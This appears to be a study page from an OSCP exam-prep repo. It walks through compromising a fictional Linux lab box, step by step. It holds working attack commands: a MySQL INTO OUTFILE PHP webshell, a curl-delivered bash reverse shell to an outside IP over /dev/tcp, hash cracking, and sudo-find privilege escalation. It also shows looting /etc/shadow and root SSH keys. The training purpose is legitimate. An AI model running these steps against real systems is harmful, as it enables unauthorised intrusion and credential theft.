Worked walkthrough — the mindset in motion¶
The other pages tell you what the techniques are. This one shows you how they actually get used on a box — the thinking between the commands: what each output made me suspect, why I tried the next thing, where I got stuck and how I got unstuck. The box is fictional (10.10.10.50, a Linux standalone) but the reasoning is exactly how you work a real OSCP target.
Read this after the mindset page. This is that page applied.
0. Setup (30 seconds, before anything)¶
One folder per host, notes open. I'll paste every working command and every flag location here as I go — because at hour 14 I won't remember how I got the foothold, and the report is graded on reproducibility.1. Port scan — scan everything first¶
sudo nmap -p- --min-rate 1000 -T4 10.10.10.50 -oN nmap/allports.txt
# open: 22, 80, 3306
sudo nmap -p22,80,3306 -sC -sV 10.10.10.50 -oN nmap/detailed.txt
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache httpd 2.4.41 (Ubuntu)
3306/tcp open mysql MySQL 5.7.33
searchsploit them (nothing clean for these exact versions). The web is where I start, but I do NOT forget 3306 — that exposed database is a lead.
2. Web enumeration — read everything¶
whatweb http://10.10.10.50 # Apache, PHP, a login form at /
feroxbuster -u http://10.10.10.50 -w .../raft-medium-directories.txt -x php
# -> /login.php /dashboard.php (302 to login) /uploads/ /db_backup/
/db_backup/ directory jumps out — that's non-standard, exactly the kind of "out of place" thing the mindset page says to chase. I browse it:
curl http://10.10.10.50/db_backup/
# directory listing -> backup.sql
curl http://10.10.10.50/db_backup/backup.sql -o loot/backup.sql
backup.sql is a database dump. I read it (always read what you find):
A username (admin) and an MD5 hash. This is a credential — the mindset reflex fires: where does it work?
3. Crack, then the reuse instinct¶
hashid '5f4dcc3b5aa765d61d8327deb882cf99' # MD5
hashcat -m 0 '5f4dcc3b5aa765d61d8327deb882cf99' rockyou.txt # -> "password"
admin:password. Now the key question from the password page: try it everywhere. The web login? Yes — it logs into /dashboard.php. But I also, immediately, try it on the other services I enumerated:
ssh admin@10.10.10.50 # admin:password -> "Permission denied" (no SSH for admin)
mysql -h 10.10.10.50 -u admin -ppassword # -> works! I'm in MySQL
4. The foothold — and a brief stuck moment¶
The dashboard has an upload feature. The mindset says: upload → webshell. I try shell.php:
/var/www/html. MySQL with FILE priv can write a file to disk. Different door to the same room:
-- in the mysql session:
SELECT @@secure_file_priv; -- empty = I can write anywhere
SELECT "<?php system($_GET['c']);?>" INTO OUTFILE '/var/www/html/s.php';
5. Stabilise, then enumerate as the new user¶
Reverse shell + TTY upgrade (shells):
# listener: nc -lvnp 443 payload via the webshell:
curl "http://10.10.10.50/s.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/443+0>%261'"
# in the shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'; export TERM=xterm # Ctrl-Z; stty raw -echo; fg
www-data now, and www-data sees things nmap never could. First, the free checks:
sudo -l # (asks for password — www-data has none, dead end)
# loot the web app's config — www-data can read it, and it holds DB creds:
cat /var/www/html/config.php
# -> $db_pass = "Sup3rS3cr3tDB!"; $db_user = "webapp";
Sup3rS3cr3tDB! a user's password? cat /etc/passwd shows a user jholt:
Password reuse between the DB config and a real user — extremely common, and it just moved me from www-data to a real login.
6. Privilege escalation — read the one weird thing¶
Now I'm jholt, so I enumerate again from scratch at this level:
sudo + a GTFOBins binary = root, because the subprocess find spawns inherits root. I don't guess — I check GTFOBins for find, and it says -exec spawns a shell:
Root. The win was a single line in sudo -l — I only had to be jholt to see it, and I only became jholt by reusing a password I found.
7. Proof + loot (don't stop at root)¶
cat /root/proof.txt # screenshot WITH `id` and `ip a` in frame — or it scores zero
cat /root/.ssh/id_rsa # loot: this key might open the NEXT box
cat /etc/shadow # crack offline for more reused passwords
/root/.ssh/ and /etc/shadow to loot/ — because on the exam, root on one box is usually the credential source for the next.
The pattern to take away¶
Trace the actual path: exposed service (MySQL) → a credential found in a backup file → reused across services → MySQL FILE write for RCE → config file creds → reused for su → sudo -l → root → loot for the next box. Notice how little of it was "an exploit." It was almost entirely enumeration, reading output, and reusing credentials — with one stuck moment solved by re-reading what I already had instead of forcing the upload filter.
That is the OSCP mindset. Every technical page in this repo is a tool; this is how you decide which one to pick up.
An AD box differs only in scale: foothold the same way, then the loot is domain credentials, you spray them across hosts, pivot to internal machines, and climb the BloodHound map instead of a single
sudo -l. Same loop — enumerate, find a credential, reuse it, escalate — repeated across a chain.